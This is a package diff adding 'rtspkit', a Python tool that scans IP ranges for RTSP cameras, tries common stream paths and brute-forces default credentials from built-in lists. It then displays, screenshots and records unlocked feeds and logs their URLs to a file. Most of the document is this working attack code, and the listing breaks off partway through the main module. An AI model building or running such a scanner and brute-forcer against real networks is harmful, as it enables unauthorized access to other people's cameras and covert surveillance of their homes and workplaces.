rtspkit 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
rtspkit/__init__.py ADDED
@@ -0,0 +1,35 @@
1
+ """
2
+ RTSP Kit (rtspkit)
3
+ ------------------
4
+ Enhanced RTSP Scanner, Stream Validator, Credential Brute-Forcer, and Multi-Camera Viewer.
5
+ """
6
+
7
+ from .rtspkit import (
8
+ CameraResult,
9
+ RTSPScanner,
10
+ AsyncFrameReader,
11
+ GridRenderer,
12
+ SingleStreamViewer,
13
+ record_stream,
14
+ main,
15
+ DEFAULT_USERNAMES,
16
+ DEFAULT_PASSWORDS,
17
+ DEFAULT_RTSP_PATHS,
18
+ )
19
+
20
+ __version__ = "1.0.0"
21
+ __author__ = "Developer"
22
+
23
+ __all__ = [
24
+ "CameraResult",
25
+ "RTSPScanner",
26
+ "AsyncFrameReader",
27
+ "GridRenderer",
28
+ "SingleStreamViewer",
29
+ "record_stream",
30
+ "main",
31
+ "DEFAULT_USERNAMES",
32
+ "DEFAULT_PASSWORDS",
33
+ "DEFAULT_RTSP_PATHS",
34
+ "__version__",
35
+ ]
rtspkit/__main__.py ADDED
@@ -0,0 +1,8 @@
1
+ """
2
+ Main entry point for executing rtspkit as a module (python -m rtspkit).
3
+ """
4
+ import sys
5
+ from .rtspkit import main
6
+
7
+ if __name__ == "__main__":
8
+ sys.exit(main())
rtspkit/rtspkit.py ADDED
@@ -0,0 +1,998 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ RTSP Kit (rtspkit) - Enhanced RTSP Scanner, Validator, Multi-Camera Viewer, and Recorder
4
+ """
5
+
6
+ import argparse
7
+ import csv
8
+ import ipaddress
9
+ import json
10
+ import os
11
+ import queue
12
+ import socket
13
+ import subprocess
14
+ import sys
15
+ import threading
16
+ import time
17
+ from concurrent.futures import ThreadPoolExecutor, as_completed
18
+ from contextlib import contextmanager
19
+ from dataclasses import asdict, dataclass
20
+ from typing import List, Optional, Tuple
21
+
22
+ # --- Suppress C-level FFMPEG / OpenCV log noise process-wide ---
23
+ os.environ["OPENCV_FFMPEG_LOGLEVEL"] = "-8"
24
+ os.environ["OPENCV_LOG_LEVEL"] = "OFF"
25
+ os.environ["FFMPEG_LOGLEVEL"] = "quiet"
26
+
27
+ # Thread-safe console printing lock
28
+ print_lock = threading.Lock()
29
+
30
+ def safe_print(*args, **kwargs):
31
+ with print_lock:
32
+ print(*args, **kwargs, flush=True)
33
+
34
+ # --- Auto Dependency Installer ---
35
+ REQUIRED_PACKAGES = {
36
+ "cv2": "opencv-python",
37
+ "numpy": "numpy",
38
+ "colorama": "colorama",
39
+ }
40
+
41
+ def ensure_dependencies():
42
+ """Checks for required 3rd-party dependencies and auto-installs any missing packages."""
43
+ missing = []
44
+ for module_name, package_name in REQUIRED_PACKAGES.items():
45
+ try:
46
+ __import__(module_name)
47
+ except ImportError:
48
+ missing.append(package_name)
49
+
50
+ if missing:
51
+ safe_print(f"\n[*] Missing required package(s): {', '.join(missing)}")
52
+ safe_print("[*] Automatically installing missing dependencies via pip...\n")
53
+ try:
54
+ subprocess.check_call([sys.executable, "-m", "pip", "install", *missing])
55
+ safe_print("[✓] Dependencies successfully installed!\n")
56
+ except Exception as e:
57
+ safe_print(f"[!] Auto-installation failed: {e}")
58
+ safe_print(f"[!] Please manually run: {sys.executable} -m pip install {' '.join(missing)}")
59
+ sys.exit(1)
60
+
61
+ ensure_dependencies()
62
+
63
+ # Import 3rd-party modules after ensuring installation
64
+ import cv2
65
+ try:
66
+ cv2.setLogLevel(0)
67
+ except AttributeError:
68
+ pass
69
+
70
+ import numpy as np
71
+ import colorama
72
+ from colorama import Fore, Style
73
+
74
+ colorama.init(autoreset=True)
75
+
76
+ class Color:
77
+ """Terminal color constants for stylized output."""
78
+ SUCCESS = Fore.GREEN + Style.BRIGHT
79
+ INFO = Fore.CYAN + Style.BRIGHT
80
+ WARN = Fore.YELLOW + Style.BRIGHT
81
+ ERROR = Fore.RED + Style.BRIGHT
82
+ MAGENTA = Fore.MAGENTA + Style.BRIGHT
83
+ BLUE = Fore.BLUE + Style.BRIGHT
84
+ HEADER = Fore.MAGENTA + Style.BRIGHT
85
+ DIM = Style.DIM
86
+ RESET = Style.RESET_ALL
87
+
88
+ # Common RTSP paths used by IP camera manufacturers (Hikvision, Dahua, Axis, Reolink, etc.)
89
+ DEFAULT_RTSP_PATHS = [
90
+ "",
91
+ "/",
92
+ "/h264",
93
+ "/live/ch0",
94
+ "/stream1",
95
+ "/onvif1",
96
+ "/ch0",
97
+ "/11",
98
+ "/12",
99
+ "/h264Preview_01_main",
100
+ ]
101
+
102
+ DEFAULT_USERNAMES = ["admin", "user", "root", "service", "support", "operator", "guest"]
103
+ DEFAULT_PASSWORDS = ["admin", "12345", "123456", "pass", "password", "1234", "0000", "", "admin123", "camera", "888888", "666666"]
104
+
105
+ @dataclass
106
+ class CameraInfo:
107
+ ip: str
108
+ port: int
109
+ url: str
110
+ path: str
111
+ working: bool
112
+ auth_status: str # "OPEN", "LOCKED", "UNLOCKED"
113
+ width: int = 0
114
+ height: int = 0
115
+ fps: float = 0.0
116
+ error: Optional[str] = None
117
+
118
+ # Alias for backwards compatibility / public API
119
+ CameraResult = CameraInfo
120
+
121
+ def load_wordlist(file_path: Optional[str], default_list: List[str]) -> List[str]:
122
+ """Loads wordlist from a file path if provided, otherwise returns default list."""
123
+ if file_path and os.path.isfile(file_path):
124
+ try:
125
+ with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
126
+ lines = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")]
127
+ return lines if lines else default_list
128
+ except Exception as e:
129
+ print(f"{Color.WARN}[!] Failed to read wordlist file {file_path}: {e}. Using defaults.{Color.RESET}")
130
+ return default_list
131
+
132
+ class AsyncStreamReader:
133
+ """Non-blocking RTSP stream reader running in a dedicated thread to prevent UI stutter."""
134
+ def __init__(self, camera: CameraInfo, target_size: Tuple[int, int] = (320, 240)):
135
+ self.camera = camera
136
+ self.target_size = target_size
137
+ self.running = False
138
+ self.thread: Optional[threading.Thread] = None
139
+ self.frame_queue: queue.Queue = queue.Queue(maxsize=2)
140
+ self.last_frame: Optional[np.ndarray] = None
141
+ self.connected = False
142
+
143
+ def start(self):
144
+ self.running = True
145
+ self.thread = threading.Thread(target=self._update_loop, daemon=True)
146
+ self.thread.start()
147
+
148
+ def _update_loop(self):
149
+ cap = cv2.VideoCapture(self.camera.url, cv2.CAP_FFMPEG)
150
+ if not cap.isOpened():
151
+ self.connected = False
152
+ return
153
+
154
+ self.connected = True
155
+ while self.running:
156
+ ret, frame = cap.read()
157
+ if not ret or frame is None:
158
+ self.connected = False
159
+ time.sleep(0.1)
160
+ continue
161
+
162
+ self.connected = True
163
+ resized_frame = cv2.resize(frame, self.target_size)
164
+
165
+ if self.frame_queue.full():
166
+ try:
167
+ self.frame_queue.get_nowait()
168
+ except queue.Empty:
169
+ pass
170
+ self.frame_queue.put(resized_frame)
171
+
172
+ cap.release()
173
+
174
+ def get_frame(self) -> np.ndarray:
175
+ w, h = self.target_size
176
+ try:
177
+ self.last_frame = self.frame_queue.get_nowait()
178
+ except queue.Empty:
179
+ pass
180
+
181
+ if self.last_frame is not None and self.connected:
182
+ frame = self.last_frame.copy()
183
+ cv2.putText(frame, self.camera.ip, (10, h - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)
184
+ return frame
185
+ else:
186
+ frame = np.zeros((h, w, 3), dtype=np.uint8)
187
+ cv2.putText(frame, "NO SIGNAL", (w // 4, h // 2), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 255), 2)
188
+ cv2.putText(frame, self.camera.ip, (10, h - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 1)
189
+ return frame
190
+
191
+ def stop(self):
192
+ self.running = False
193
+ if self.thread and self.thread.is_alive():
194
+ self.thread.join(timeout=1.0)
195
+
196
+ # Alias for API export
197
+ AsyncFrameReader = AsyncStreamReader
198
+
199
+ @contextmanager
200
+ def suppress_c_stderr():
201
+ """Cross-platform suppressor for C/C++ native DLL stderr logs (FFMPEG 401 Unauthorized messages)."""
202
+ old_stderr_fd = None
203
+ null_fd = None
204
+ old_std_handle = None
205
+ kernel32 = None
206
+
207
+ try:
208
+ null_fd = os.open(os.devnull, os.O_WRONLY)
209
+ old_stderr_fd = os.dup(2)
210
+ os.dup2(null_fd, 2)
211
+
212
+ if sys.platform == "win32":
213
+ import ctypes
214
+ import msvcrt
215
+ kernel32 = ctypes.windll.kernel32
216
+ STD_ERROR_HANDLE = -12
217
+ old_std_handle = kernel32.GetStdHandle(STD_ERROR_HANDLE)
218
+ devnull_handle = msvcrt.get_osfhandle(null_fd)
219
+ kernel32.SetStdHandle(STD_ERROR_HANDLE, devnull_handle)
220
+
221
+ yield
222
+ except Exception:
223
+ yield
224
+ finally:
225
+ if sys.platform == "win32" and kernel32 and old_std_handle is not None:
226
+ kernel32.SetStdHandle(-12, old_std_handle)
227
+
228
+ if old_stderr_fd is not None:
229
+ try:
230
+ os.dup2(old_stderr_fd, 2)
231
+ os.close(old_stderr_fd)
232
+ except Exception:
233
+ pass
234
+ if null_fd is not None:
235
+ try:
236
+ os.close(null_fd)
237
+ except Exception:
238
+ pass
239
+
240
+ class RTSPScanner:
241
+ """Parallel scanner for detecting open ports, validating RTSP streams, and brute-forcing credentials."""
242
+ def __init__(
243
+ self,
244
+ port: int = 554,
245
+ timeout: float = 3.0,
246
+ threads: int = 50,
247
+ credentials: Optional[str] = None,
248
+ user_list: Optional[List[str]] = None,
249
+ pass_list: Optional[List[str]] = None,
250
+ enable_brute: bool = False
251
+ ):
252
+ self.port = port
253
+ self.timeout = timeout
254
+ self.threads = threads
255
+ self.credentials = credentials
256
+ self.user_list = user_list or DEFAULT_USERNAMES
257
+ self.pass_list = pass_list or DEFAULT_PASSWORDS
258
+ self.enable_brute = enable_brute
259
+
260
+ def is_port_open(self, ip: str) -> bool:
261
+ try:
262
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
263
+ sock.settimeout(self.timeout)
264
+ return sock.connect_ex((ip, self.port)) == 0
265
+ except Exception:
266
+ return False
267
+
268
+ def _test_single_url(self, url: str) -> Tuple[bool, int, int, float, Optional[str]]:
269
+ """Helper to test connecting to an RTSP URL and reading a single frame."""
270
+ result = {"success": False, "width": 0, "height": 0, "fps": 0.0, "error": None}
271
+
272
+ def try_connect():
273
+ try:
274
+ with suppress_c_stderr():
275
+ cap = cv2.VideoCapture(url, cv2.CAP_FFMPEG)
276
+ if not cap.isOpened():
277
+ result["error"] = "Connection failed / Auth required"
278
+ return
279
+
280
+ start_time = time.time()
281
+ while time.time() - start_time < self.timeout:
282
+ ret, frame = cap.read()
283
+ if ret and frame is not None:
284
+ result["success"] = True
285
+ result["width"] = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
286
+ result["height"] = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
287
+ result["fps"] = float(cap.get(cv2.CAP_PROP_FPS))
288
+ break
289
+ cap.release()
290
+ except Exception as e:
291
+ result["error"] = str(e)
292
+
293
+ thread = threading.Thread(target=try_connect, daemon=True)
294
+ thread.start()
295
+ thread.join(self.timeout + 1.0)
296
+
297
+ return result["success"], result["width"], result["height"], result["fps"], result["error"]
298
+
299
+ def probe_rtsp_stream(self, ip: str, paths: List[str]) -> CameraInfo:
300
+ """Test RTSP URL paths: checks OPEN unauthenticated first, then attempts auth/brute force."""
301
+ for path in paths:
302
+ clean_path = path if path.startswith("/") or not path else f"/{path}"
303
+ url_open = f"rtsp://{ip}:{self.port}{clean_path}"
304
+
305
+ success, w, h, fps, err = self._test_single_url(url_open)
306
+ if success and w > 0 and h > 0:
307
+ return CameraInfo(
308
+ ip=ip,
309
+ port=self.port,
310
+ url=url_open,
311
+ path=clean_path,
312
+ working=True,
313
+ auth_status="OPEN",
314
+ width=w,
315
+ height=h,
316
+ fps=fps
317
+ )
318
+
319
+ if self.credentials:
320
+ auth_prefix = f"{self.credentials}@"
321
+ for path in paths:
322
+ clean_path = path if path.startswith("/") or not path else f"/{path}"
323
+ url_auth = f"rtsp://{auth_prefix}{ip}:{self.port}{clean_path}"
324
+ success, w, h, fps, err = self._test_single_url(url_auth)
325
+ if success:
326
+ return CameraInfo(
327
+ ip=ip,
328
+ port=self.port,
329
+ url=url_auth,
330
+ path=clean_path,
331
+ working=True,
332
+ auth_status=f"UNLOCKED ({self.credentials})",
333
+ width=w,
334
+ height=h,
335
+ fps=fps
336
+ )
337
+
338
+ if self.enable_brute:
339
+ print(f"{Color.INFO}[*] Running credential brute-force on {ip}...{Color.RESET}")
340
+ for u in self.user_list:
341
+ for p in self.pass_list:
342
+ cred_pair = f"{u}:{p}"
343
+ auth_prefix = f"{cred_pair}@"
344
+ for path in paths[:2]:
345
+ clean_path = path if path.startswith("/") or not path else f"/{path}"
346
+ url_brute = f"rtsp://{auth_prefix}{ip}:{self.port}{clean_path}"
347
+ success, w, h, fps, err = self._test_single_url(url_brute)
348
+ if success:
349
+ return CameraInfo(
350
+ ip=ip,
351
+ port=self.port,
352
+ url=url_brute,
353
+ path=clean_path,
354
+ working=True,
355
+ auth_status=f"UNLOCKED ({cred_pair})",
356
+ width=w,
357
+ height=h,
358
+ fps=fps
359
+ )
360
+
361
+ return CameraInfo(
362
+ ip=ip,
363
+ port=self.port,
364
+ url=f"rtsp://{ip}:{self.port}/",
365
+ path="/",
366
+ working=False,
367
+ auth_status="LOCKED",
368
+ error="Port 554 open but camera stream requires authentication (LOCKED)"
369
+ )
370
+
371
+ def scan_host(self, ip: str, paths: List[str]) -> Tuple[str, bool, Optional[CameraInfo]]:
372
+ if not self.is_port_open(ip):
373
+ return ip, False, None
374
+
375
+ safe_print(f"{Color.INFO}[+] Port {self.port} OPEN on {ip} - testing RTSP stream...{Color.RESET}")
376
+ cam_info = self.probe_rtsp_stream(ip, paths)
377
+
378
+ if cam_info.auth_status == "OPEN":
379
+ res_str = f" ({cam_info.width}x{cam_info.height})" if cam_info.width else ""
380
+ safe_print(f"{Color.SUCCESS}[OPEN] {ip}{res_str} -> {cam_info.url}{Color.RESET}")
381
+ elif cam_info.auth_status.startswith("UNLOCKED"):
382
+ res_str = f" ({cam_info.width}x{cam_info.height})" if cam_info.width else ""
383
+ safe_print(f"{Color.INFO}[{cam_info.auth_status}] {ip}{res_str} -> {cam_info.url}{Color.RESET}")
384
+ else:
385
+ safe_print(f"{Color.WARN}[LOCKED] {ip} - Port 554 open (Authentication required){Color.RESET}")
386
+
387
+ return ip, True, cam_info
388
+
389
+ def parse_targets(self, target_input: str) -> List[str]:
390
+ """Parses CIDR subnets, IP ranges, comma-separated IPs, or file paths."""
391
+ targets = []
392
+ target_input = target_input.strip()
393
+
394
+ if os.path.isfile(target_input):
395
+ with open(target_input, "r") as f:
396
+ for line in f:
397
+ line = line.strip()
398
+ if line and not line.startswith("#"):
399
+ targets.extend(self.parse_targets(line))
400
+ return targets
401
+
402
+ if "," in target_input:
403
+ for part in target_input.split(","):
404
+ targets.extend(self.parse_targets(part))
405
+ return targets
406
+
407
+ if "-" in target_input and "/" not in target_input:
408
+ try:
409
+ start_ip_str, end_ip_str = target_input.split("-")
410
+ start_ip = ipaddress.ip_address(start_ip_str.strip())
411
+ if "." not in end_ip_str:
412
+ prefix = ".".join(start_ip_str.split(".")[:3])
413
+ end_ip_str = f"{prefix}.{end_ip_str.strip()}"
414
+ end_ip = ipaddress.ip_address(end_ip_str.strip())
415
+
416
+ curr = int(start_ip)
417
+ end = int(end_ip)
418
+ while curr <= end:
419
+ targets.append(str(ipaddress.ip_address(curr)))
420
+ curr += 1
421
+ return targets
422
+ except ValueError:
423
+ pass
424
+
425
+ try:
426
+ net = ipaddress.ip_network(target_input, strict=False)
427
+ if net.num_addresses == 1:
428
+ targets.append(str(net.network_address))
429
+ else:
430
+ targets.extend([str(ip) for ip in net.hosts()])
431
+ except ValueError:
432
+ print(f"{Color.WARN}[!] Warning: Unable to parse target '{target_input}'{Color.RESET}")
433
+
434
+ return targets
435
+
436
+ def run_scan(self, target_input: str, paths: Optional[List[str]] = None) -> List[CameraInfo]:
437
+ if paths is None:
438
+ paths = DEFAULT_RTSP_PATHS
439
+ ip_list = self.parse_targets(target_input)
440
+ if not ip_list:
441
+ print(f"{Color.ERROR}[!] No valid target IP addresses to scan.{Color.RESET}")
442
+ return []
443
+
444
+ print(f"\n{Color.INFO}[*] Starting RTSP scan on {Color.SUCCESS}{len(ip_list)}{Color.INFO} target host(s) (Port {self.port}, Threads {self.threads})...{Color.RESET}\n")
445
+
446
+ all_discovered = []
447
+ with ThreadPoolExecutor(max_workers=self.threads) as executor:
448
+ futures = {executor.submit(self.scan_host, ip, paths): ip for ip in ip_list}
449
+ for future in as_completed(futures):
450
+ try:
451
+ _, port_open, cam_info = future.result()
452
+ if port_open and cam_info:
453
+ all_discovered.append(cam_info)
454
+ except Exception:
455
+ pass
456
+
457
+ return all_discovered
458
+
459
+
460
+ class GridRenderer:
461
+ """Multi-camera Picture-in-Picture grid display with auto-padding and background thread streaming."""
462
+ def __init__(self, cameras: List[CameraInfo], cols: int = 3, frame_size: Tuple[int, int] = (320, 240)):
463
+ self.cameras = cameras
464
+ self.cols = max(1, cols)
465
+ self.frame_size = frame_size
466
+
467
+ def start_preview(self, duration_sec: Optional[int] = None):
468
+ if not self.cameras:
469
+ print(f"{Color.WARN}[!] No working cameras available to render.{Color.RESET}")
470
+ return
471
+
472
+ print(f"\n{Color.INFO}[▶] Starting async PiP grid view for {Color.SUCCESS}{len(self.cameras)}{Color.INFO} camera(s)...{Color.RESET}")
473
+ print(f"{Color.DIM}[i] Press 'q' or 'ESC' to exit preview | Press 's' to save grid screenshot.{Color.RESET}\n")
474
+
475
+ readers = [AsyncStreamReader(cam, target_size=self.frame_size) for cam in self.cameras]
476
+ for reader in readers:
477
+ reader.start()
478
+
479
+ start_time = time.time()
480
+ cell_w, cell_h = self.frame_size
481
+
482
+ try:
483
+ while True:
484
+ if duration_sec and (time.time() - start_time > duration_sec):
485
+ break
486
+
487
+ frames = [reader.get_frame() for reader in readers]
488
+
489
+ remainder = len(frames) % self.cols
490
+ if remainder != 0:
491
+ pad_count = self.cols - remainder
492
+ for _ in range(pad_count):
493
+ empty_cell = np.zeros((cell_h, cell_w, 3), dtype=np.uint8)
494
+ cv2.putText(empty_cell, "EMPTY", (cell_w // 3, cell_h // 2),
495
+ cv2.FONT_HERSHEY_SIMPLEX, 0.5, (100, 100, 100), 1)
496
+ frames.append(empty_cell)
497
+
498
+ rows = []
499
+ for i in range(0, len(frames), self.cols):
500
+ row = np.hstack(frames[i:i + self.cols])
501
+ rows.append(row)
502
+ grid_image = np.vstack(rows)
503
+
504
+ window_name = "RTSP Kit - PiP Multi-Camera Grid"
505
+ cv2.imshow(window_name, grid_image)
506
+
507
+ key = cv2.waitKey(30) & 0xFF
508
+ if key in (ord('q'), ord('Q'), 27):
509
+ break
510
+ if cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) < 1:
511
+ break
512
+
513
+ if key == ord('s') or key == ord('S'):
514
+ filename = f"rtsp_grid_{int(time.time())}.png"
515
+ cv2.imwrite(filename, grid_image)
516
+ print(f"{Color.SUCCESS}[✓] Saved grid screenshot to {filename}{Color.RESET}")
517
+
518
+ finally:
519
+ print(f"{Color.INFO}[*] Closing stream readers...{Color.RESET}")
520
+ for reader in readers:
521
+ reader.stop()
522
+ cv2.destroyAllWindows()
523
+ print(f"{Color.SUCCESS}[✓] Grid preview finished.{Color.RESET}")
524
+
525
+
526
+ class SingleStreamViewer:
527
+ """Interactive single-camera viewer with next/previous camera switching."""
528
+ def __init__(self, cameras: List[CameraInfo]):
529
+ self.cameras = cameras
530
+
531
+ def start_viewing(self, initial_index: int = 0):
532
+ if not self.cameras:
533
+ print(f"{Color.WARN}[!] No cameras available for single view.{Color.RESET}")
534
+ return
535
+
536
+ current_idx = initial_index % len(self.cameras)
537
+
538
+ while True:
539
+ cam = self.cameras[current_idx]
540
+ print(f"\n{Color.INFO}[▶] Streaming [{current_idx + 1}/{len(self.cameras)}]: {Color.SUCCESS}{cam.url}{Color.RESET}")
541
+ print(f"{Color.DIM}[i] Controls: 'n'=Next camera | 'p'=Previous camera | 's'=Screenshot | 'q'=Quit{Color.RESET}\n")
542
+
543
+ cap = cv2.VideoCapture(cam.url, cv2.CAP_FFMPEG)
544
+ if not cap.isOpened():
545
+ print(f"{Color.ERROR}[!] Failed to connect to RTSP stream: {cam.url}{Color.RESET}")
546
+ current_idx = (current_idx + 1) % len(self.cameras)
547
+ time.sleep(1)
548
+ continue
549
+
550
+ switch_action = None
551
+ recording = False
552
+ rec_writer = None
553
+ rec_filename = None
554
+
555
+ while True:
556
+ ret, frame = cap.read()
557
+ if not ret or frame is None:
558
+ print(f"{Color.WARN}[!] Stream interrupted.{Color.RESET}")
559
+ break
560
+
561
+ if recording and rec_writer:
562
+ rec_writer.write(frame)
563
+
564
+ display_frame = cv2.resize(frame, (500, 500))
565
+
566
+ overlay_text = f"{cam.ip} ({cam.width}x{cam.height})" if cam.width else cam.ip
567
+ if recording:
568
+ cv2.circle(display_frame, (30, 30), 10, (0, 0, 255), -1)
569
+ cv2.putText(display_frame, f"REC {overlay_text}", (50, 38), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
570
+ else:
571
+ cv2.putText(display_frame, overlay_text, (20, 40), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 255, 0), 2)
572
+
573
+ cv2.imshow("RTSP Kit - Single Stream Viewer", display_frame)
574
+
575
+ key = cv2.waitKey(1) & 0xFF
576
+ if key in (ord('q'), ord('Q'), 27):
577
+ switch_action = 'quit'
578
+ break
579
+ elif key == ord('n') or key == ord('N'):
580
+ switch_action = 'next'
581
+ break
582
+ elif key == ord('p') or key == ord('P'):
583
+ switch_action = 'prev'
584
+ break
585
+ elif key == ord('s') or key == ord('S'):
586
+ fn = f"rtsp_cam_{cam.ip}_{int(time.time())}.png"
587
+ cv2.imwrite(fn, display_frame)
588
+ print(f"{Color.SUCCESS}[✓] Saved screenshot: {fn}{Color.RESET}")
589
+ elif key == ord('r') or key == ord('R'):
590
+ if not recording:
591
+ rec_filename = f"record_{cam.ip}_{int(time.time())}.mp4"
592
+ w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) or 1280
593
+ h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) or 720
594
+ fps = float(cap.get(cv2.CAP_PROP_FPS)) or 20.0
595
+ fourcc = cv2.VideoWriter_fourcc(*'mp4v')
596
+ rec_writer = cv2.VideoWriter(rec_filename, fourcc, fps, (w, h))
597
+ recording = True
598
+ print(f"\n{Color.SUCCESS}[● STARTED RECORDING] Saving stream to {rec_filename}{Color.RESET}")
599
+ else:
600
+ recording = False
601
+ if rec_writer:
602
+ rec_writer.release()
603
+ rec_writer = None
604
+ print(f"\n{Color.SUCCESS}[■ STOPPED RECORDING] Saved to {rec_filename}{Color.RESET}")
605
+
606
+ if rec_writer:
607
+ rec_writer.release()
608
+ cap.release()
609
+ cv2.destroyAllWindows()
610
+
611
+ if switch_action == 'quit' or switch_action is None:
612
+ break
613
+ elif switch_action == 'next':
614
+ current_idx = (current_idx + 1) % len(self.cameras)
615
+ elif switch_action == 'prev':
616
+ current_idx = (current_idx - 1) % len(self.cameras)
617
+
618
+
619
+ def record_stream(camera: CameraInfo, duration_sec: Optional[int] = None, output_filename: Optional[str] = None):
620
+ """Records live RTSP stream to a local MP4 video file."""
621
+ if not output_filename:
622
+ output_filename = f"record_{camera.ip}_{int(time.time())}.mp4"
623
+
624
+ cap = cv2.VideoCapture(camera.url, cv2.CAP_FFMPEG)
625
+ if not cap.isOpened():
626
+ print(f"{Color.ERROR}[!] Failed to open RTSP stream for recording: {camera.url}{Color.RESET}")
627
+ return
628
+
629
+ w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) or 1280
630
+ h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) or 720
631
+ fps = float(cap.get(cv2.CAP_PROP_FPS)) or 20.0
632
+
633
+ fourcc = cv2.VideoWriter_fourcc(*'mp4v')
634
+ writer = cv2.VideoWriter(output_filename, fourcc, fps, (w, h))
635
+
636
+ dur_str = f"for {duration_sec}s" if duration_sec else "continuously (press 'q' or ESC to stop)"
637
+ print(f"\n{Color.SUCCESS}[● RECORDING] Recording camera {camera.ip} to '{output_filename}' {dur_str}...{Color.RESET}")
638
+
639
+ start_time = time.time()
640
+ frame_count = 0
641
+ try:
642
+ while True:
643
+ if duration_sec and (time.time() - start_time > duration_sec):
644
+ break
645
+
646
+ ret, frame = cap.read()
647
+ if not ret or frame is None:
648
+ print(f"{Color.WARN}[!] Stream ended or interrupted during recording.{Color.RESET}")
649
+ break
650
+
651
+ writer.write(frame)
652
+ frame_count += 1
653
+
654
+ preview = cv2.resize(frame, (500, 500))
655
+ elapsed = int(time.time() - start_time)
656
+ cv2.circle(preview, (30, 30), 10, (0, 0, 255), -1)
657
+ cv2.putText(preview, f"REC {elapsed}s | {camera.ip}", (50, 38), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
658
+
659
+ window_name = f"RTSP Recorder - {camera.ip}"
660
+ cv2.imshow(window_name, preview)
661
+
662
+ key = cv2.waitKey(1) & 0xFF
663
+ if key in (ord('q'), ord('Q'), 27) or cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) < 1:
664
+ break
665
+ finally:
666
+ writer.release()
667
+ cap.release()
668
+ cv2.destroyAllWindows()
669
+ print(f"{Color.SUCCESS}[✓] Saved recorded video ({frame_count} frames) to '{output_filename}'{Color.RESET}")
670
+
671
+
672
+ def launch_vlc(rtsp_url: str) -> bool:
673
+ """Attempts to open an RTSP stream using external VLC media player."""
674
+ vlc_paths = [
675
+ "vlc",
676
+ r"C:\Program Files\VideoLAN\VLC\vlc.exe",
677
+ r"C:\Program Files (x86)\VideoLAN\VLC\vlc.exe",
678
+ "/usr/bin/vlc",
679
+ "/Applications/VLC.app/Contents/MacOS/VLC",
680
+ ]
681
+ for vlc_bin in vlc_paths:
682
+ try:
683
+ subprocess.Popen([vlc_bin, rtsp_url], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
684
+ print(f"{Color.SUCCESS}[✓] Launched VLC with stream: {rtsp_url}{Color.RESET}")
685
+ return True
686
+ except FileNotFoundError:
687
+ continue
688
+ except Exception as e:
689
+ print(f"{Color.WARN}[!] Failed to launch VLC ({vlc_bin}): {e}{Color.RESET}")
690
+ break
691
+
692
+ print(f"{Color.ERROR}[!] VLC media player not found on system PATH or default directories.{Color.RESET}")
693
+ return False
694
+
695
+ def open_single_camera_by_id(working_cameras: List[CameraInfo]):
696
+ """Prompts user to select a camera ID, viewing duration, recording, or launch VLC player, and saves opened camera to file."""
697
+ if not working_cameras:
698
+ print(f"{Color.WARN}[!] No open/accessible cameras available to view.{Color.RESET}")
699
+ return
700
+
701
+ print(f"\n{Color.MAGENTA}Available Accessible Camera(s):{Color.RESET}")
702
+ for idx, cam in enumerate(working_cameras, 1):
703
+ res = f" ({cam.width}x{cam.height})" if cam.width else ""
704
+ print(f" [{idx}] {cam.ip}{res} -> {cam.url} [{cam.auth_status}]")
705
+
706
+ cam_choice = input(f"\n{Color.INFO}Enter Camera ID to open (1-{len(working_cameras)}): {Color.RESET}").strip()
707
+ if not cam_choice.isdigit() or not (1 <= int(cam_choice) <= len(working_cameras)):
708
+ print(f"{Color.ERROR}[!] Invalid Camera ID selection.{Color.RESET}")
709
+ return
710
+
711
+ selected_cam = working_cameras[int(cam_choice) - 1]
712
+
713
+ save_filename = "opened_cameras.txt"
714
+ try:
715
+ with open(save_filename, "a") as f:
716
+ f.write(f"{selected_cam.url}\n")
717
+ print(f"{Color.SUCCESS}[✓] Saved opened camera URL to '{save_filename}'{Color.RESET}")
718
+ except Exception as e:
719
+ print(f"{Color.WARN}[!] Failed to save opened camera to file: {e}{Color.RESET}")
720
+
721
+ print(f"\n{Color.MAGENTA}Select Viewing / Recording Option:{Color.RESET}")
722
+ print("1. View for 10 seconds")
723
+ print("2. View for 30 seconds")
724
+ print("3. View for 1 minute (60 seconds)")
725
+ print("4. View continuously (Press 'q' or ESC to stop, 'r' to record)")
726
+ print("5. Record video stream to MP4 file")
727
+ print("6. Open stream in VLC Player")
728
+ dur_choice = input(f"{Color.INFO}Choice (1-6) [Default: 4]: {Color.RESET}").strip()
729
+
730
+ duration_map = {"1": 10, "2": 30, "3": 60, "4": None}
731
+
732
+ if dur_choice == "6":
733
+ launch_vlc(selected_cam.url)
734
+ elif dur_choice == "5":
735
+ rec_dur_str = input(f"{Color.INFO}Enter recording duration in seconds [Press Enter for continuous]: {Color.RESET}").strip()
736
+ rec_dur = int(rec_dur_str) if rec_dur_str.isdigit() else None
737
+ record_stream(selected_cam, duration_sec=rec_dur)
738
+ else:
739
+ duration_sec = duration_map.get(dur_choice, None)
740
+ dur_str = f"for {duration_sec}s" if duration_sec else "continuously"
741
+ print(f"\n{Color.INFO}[▶] Playing camera {selected_cam.ip} {dur_str}...{Color.RESET}")
742
+
743
+ cap = cv2.VideoCapture(selected_cam.url, cv2.CAP_FFMPEG)
744
+ if not cap.isOpened():
745
+ print(f"{Color.ERROR}[!] Failed to open RTSP stream at {selected_cam.url}{Color.RESET}")
746
+ return
747
+
748
+ start_time = time.time()
749
+ recording = False
750
+ rec_writer = None
751
+ rec_filename = None
752
+
753
+ while True:
754
